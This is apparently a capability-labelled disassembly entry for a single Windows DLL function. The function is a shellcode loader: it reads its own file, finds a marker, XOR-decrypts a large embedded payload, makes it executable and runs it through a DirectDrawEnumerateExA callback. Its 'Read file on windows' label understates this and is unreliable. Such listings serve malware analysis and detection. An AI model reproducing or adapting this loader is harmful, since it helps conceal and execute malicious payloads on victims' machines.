Function at 0x10001010
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x51c98
call fcn.1000fed0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x21c]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.10001343
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x21c]
mov dword [ebp - 0x51c98], ebx
push 0
push 0
push esi
push ebx
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
push 0x10015d3c
push ebx
call fcn.10004bb3
mov edi, eax
add esp, 8
test edi, edi
je 0x10001314
push 2
push 0
push edi
call fcn.10005008
push edi
call fcn.10004acc
push 0
push 0
push edi
mov esi, eax
call fcn.10005008
push esi
call fcn.10001343
push edi
push esi
push 1
push eax
mov dword [ebp - 0x51c88], eax
call fcn.1000521b
push edi
call fcn.10004cef
lea eax, [esi - 0xf]
mov dword [ebp - 0x14], 0x20f64d7b
add esp, 0x34
mov dword [ebp - 0x10], 0xf1255abd
xor ebx, ebx
mov dword [ebp - 0xc], 0x263edbe
mov dword [ebp - 8], 0xc52bd6f4
mov dword [ebp - 0x51c8c], eax
test eax, eax
jle 0x100011bc
mov eax, dword [ebp - 0x51c88]
add eax, 0x10
mov dword [ebp - 0x51c90], eax
nop word [eax + eax]
add eax, ebx
mov edi, 0xc
mov dword [ebp - 0x51c94], eax
lea edx, [eax - 0x10]
lea eax, [ebp - 0x14]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x100011a8
add edx, 4
add eax, 4
sub edi, 4
jae 0x10001133
xor edi, edi
test esi, esi
jle 0x100011a8
cmp esi, 0x10
jb 0x10001183
mov ecx, dword [ebp - 0x51c88]
lea eax, [esi + ebx]
add ecx, 0xf
add eax, ecx
lea ecx, [ebp - 0x51c80]
cmp ecx, eax
mov ecx, dword [ebp - 0x51c94]
ja 0x10001178
lea eax, [ebp + esi - 0x51c81]
cmp eax, ecx
jae 0x10001183
push esi
push ecx
lea eax, [ebp - 0x51c80]
push eax
jmp 0x100011a0
mov ecx, dword [ebp - 0x51c88]
lea eax, [edi + ebx]
add ecx, 0x10
lea edx, [ebp - 0x51c80]
add ecx, eax
add edx, edi
mov eax, esi
sub eax, edi
push eax
push ecx
push edx
call fcn.10002e40
add esp, 0xc
mov eax, dword [ebp - 0x51c90]
inc ebx
dec esi
cmp ebx, dword [ebp - 0x51c8c]
jl 0x10001120
lea eax, [ebp - 0x51c80]
mov esi, 1
sub esi, eax
lea ecx, [ebp - 0x51c80]
mov edi, 2
mov ebx, 3
sub edi, eax
sub ebx, eax
mov eax, 4
xor edx, edx
sub eax, ecx
mov dword [ebp - 0x51c90], eax
mov eax, 5
sub eax, ecx
mov dword [ebp - 0x51c8c], eax
nop dword [eax]
lea ecx, [ebp - 0x51c80]
mov eax, edx
add ecx, edx
and eax, 0x80000007
jns 0x10001216
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx], al
lea eax, [ecx + esi]
and eax, 0x80000007
jns 0x1000122e
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 1], al
lea eax, [ecx + edi]
and eax, 0x80000007
jns 0x10001247
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 2], al
lea eax, [ecx + ebx]
and eax, 0x80000007
jns 0x10001260
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 3], al
mov eax, dword [ebp - 0x51c90]
add eax, ecx
and eax, 0x80000007
jns 0x1000127e
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 4], al
mov eax, dword [ebp - 0x51c8c]
add eax, ecx
and eax, 0x80000007
jns 0x1000129c
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
add edx, 6
xor byte [ecx + 5], al
cmp edx, 0x51a62
jl 0x10001200
push 4
push 0x3000
push 0x51a62
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0x51c80]
push 0x51a62
push eax
push esi
call fcn.10002e40
add esp, 0xc
lea eax, [ebp - 0x51c84]
push eax
push 0x10
push 0x51a62
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push esi
call dword [sym.imp.DDRAW.dll_DirectDrawEnumerateExA]
push dword [ebp - 0x51c88]
call fcn.1000133e
mov ebx, dword [ebp - 0x51c98]
add esp, 4
push ebx
call fcn.1000133e
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.10001330
mov esp, ebp
pop ebp
ret